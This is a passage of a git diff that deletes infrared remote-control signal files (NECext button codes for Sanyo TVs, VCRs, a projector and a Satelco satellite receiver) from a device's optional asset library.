01 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 02 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 10 00 00 00 -# -name: pause/still -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 12 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 15 00 00 00 -# -name: index -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 19 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1D 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1E 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 43 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 44 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 46 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4B 00 00 00 -# -name: vps/pdc -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4F 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 56 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5B 00 00 00 -# -name: sp/lp -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5E 00 00 00 -# -name: preset -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 9E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir deleted file mode 100644 index e84af3c15..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CH_0 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 00 00 00 00 -# -name: CH_1 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 01 00 00 00 -# -name: CH_2 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 02 00 00 00 -# -name: CH_3 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 03 00 00 00 -# -name: CH_4 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 04 00 00 00 -# -name: CH_5 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 05 00 00 00 -# -name: CH_6 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 06 00 00 00 -# -name: CH_7 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 07 00 00 00 -# -name: CH_8 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 08 00 00 00 -# -name: CH_9 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 09 00 00 00 -# -name: DIGITTEXT_SUB-PAGE -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0C 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0D 00 00 00 -# -name: NORMALISATION -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 11 00 00 00 -# -name: TV/AV-SELECTION -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 14 00 00 00 -# -name: SOUND_MUTE -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 17 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 18 00 00 00 -# -name: SLEEP-/ON-TIMERTEXT_CANCEL -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 19 00 00 00 -# -name: FUNCTION -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 1A 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 1C 00 00 00 -# -name: ALTERNATE -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 1D 00 00 00 -# -name: A.B-SELECTION -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 40 00 00 00 -# -name: TEXT/MIX/TV-SWITCH -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 46 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 49 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 4A 00 00 00 -# -name: YELLOWBASS -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 4B 00 00 00 -# -name: BLUETIME-CALL -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 4C 00 00 00 -# -name: TEXT_HOLD -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 4E 00 00 00 -# -name: TEXT_INDEX-PAGE -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 51 00 00 00 -# -name: TEXT_SIZE -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir deleted file mode 100644 index dc39e21f2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 01 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 02 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 10 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 12 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 15 00 00 00 -# -name: index -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 19 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1C 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1E 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 43 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 44 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 46 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4B 00 00 00 -# -name: vps -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4F 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 56 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5B 00 00 00 -# -name: sp -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5E 00 00 00 -# -name: showview -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 8C 00 00 00 -# -name: preset -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 9E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir deleted file mode 100644 index 480f0dacc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0B 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0F 00 00 00 -# -name: image -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 12 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 13 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 17 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 18 00 00 00 -# -name: ch-recall -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 19 00 00 00 -# -name: audio_mode -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 1C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir deleted file mode 100644 index ff8acf415..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 09 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 12 00 00 00 -# -name: tv/vid -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 13 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 19 00 00 00 -# -name: pip -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 5B 00 00 00 -# -name: swap -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir deleted file mode 100644 index 6f889a1fd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 01 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 07 00 00 00 -# -name: tv/vcr -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 10 00 00 00 -# -name: pause/still -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 12 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 15 00 00 00 -# -name: KEY_1-- -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1D 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 43 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 44 00 00 00 -# -name: clk/count -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 45 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 46 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4A 00 00 00 -# -name: set -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5B 00 00 00 -# -name: tape_speed -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir deleted file mode 100644 index 14829b1d0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0B 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 0F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 12 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 13 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 17 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 18 00 00 00 -# -name: ch-recall -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 19 00 00 00 -# -name: auto -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 1C 00 00 00 -# -name: digicon -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 1D 00 00 00 -# -name: menu+ -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 1E 00 00 00 -# -name: menu- -type: parsed -protocol: NECext -address: 38 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir deleted file mode 100644 index ba93336f1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 01 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 02 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 10 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 12 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 15 00 00 00 -# -name: index -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 19 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1D 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 1E 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 43 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 44 00 00 00 -# -name: type -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 46 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4B 00 00 00 -# -name: vps -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 4F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5B 00 00 00 -# -name: sp/lp -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 5E 00 00 00 -# -name: showview -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 8C 00 00 00 -# -name: preset -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 9E 00 00 00 -# -name: menu/tv -type: parsed -protocol: NECext -address: 31 00 00 00 -command: CA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir deleted file mode 100644 index ef703db5d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 00 00 00 00 -# -name: V.MODE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 05 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 09 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 09 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 0A 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 0A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 0B 00 00 00 -# -name: FUNCTION -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1C 00 00 00 -# -name: LEVEL_> -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1D 00 00 00 -# -name: LEVEL_+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1D 00 00 00 -# -name: LEVEL_< -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1E 00 00 00 -# -name: LEVEL_- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1E 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 1F 00 00 00 -# -name: ZOOM_- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 46 00 00 00 -# -name: ZOOM_V -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 46 00 00 00 -# -name: ZOOM_+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 47 00 00 00 -# -name: ZOOM_^ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 47 00 00 00 -# -name: FOCUS_+ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 4A 00 00 00 -# -name: FOCUS_^ -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 4A 00 00 00 -# -name: FOCUS_- -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 4B 00 00 00 -# -name: FOCUS_V -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 4B 00 00 00 -# -name: EXPAND -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 58 00 00 00 -# -name: KEYSTONE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Satelco/Sat/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Satelco/Sat/24,-1.ir deleted file mode 100644 index 6882bf285..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Satelco/Sat/24,-1.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0E 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0F 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 10 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 12 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 13 00 00 00 -# -name: KEY_1 -type: parsed -protocol: 